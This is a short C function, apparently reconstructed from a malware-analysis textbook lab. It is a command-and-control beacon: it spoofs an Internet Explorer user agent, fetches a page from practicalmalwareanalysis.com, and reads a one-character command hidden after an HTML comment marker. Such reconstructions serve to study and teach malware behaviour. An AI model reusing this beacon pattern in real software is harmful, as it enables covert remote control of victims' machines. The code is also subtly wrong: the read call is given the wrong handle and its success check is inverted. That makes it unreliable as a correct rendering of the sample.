CHAR sub_401040() { HINTERNET hInternet; hInternet = InternetOpenA("Internet Explorer 7.5/pma", 0, 0, 0, 0); HINTERNET hFile; if ((hFile = InternetOpenUrlA(hInternet, "http://www.practicalmalwareanalysis.com/cc.htm", 0, 0, 0, 0)) == NULL) { printf("Error 2.1: Fail to OpenUrl\n"); InternetCloseHandle(hInternet); return 0; } DWORD numberOfBytesRead; CHAR cc_file_data[0x200]; if (InternetReadFile(hInternet, cc_file_data, 0x200, &numberOfBytesRead)) { printf("Error 2.2: Fail to ReadFile\n"); InternetCloseHandle(hInternet); InternetCloseHandle(hFile); } if (cc_file_data[0] != '<' || cc_file_data[1] != '!' || cc_file_data[2] != '-' || cc_file_data[3] != '-') { printf("Error 2.3: Fail to get command\n"); return 0; } return cc_file_data[4]; }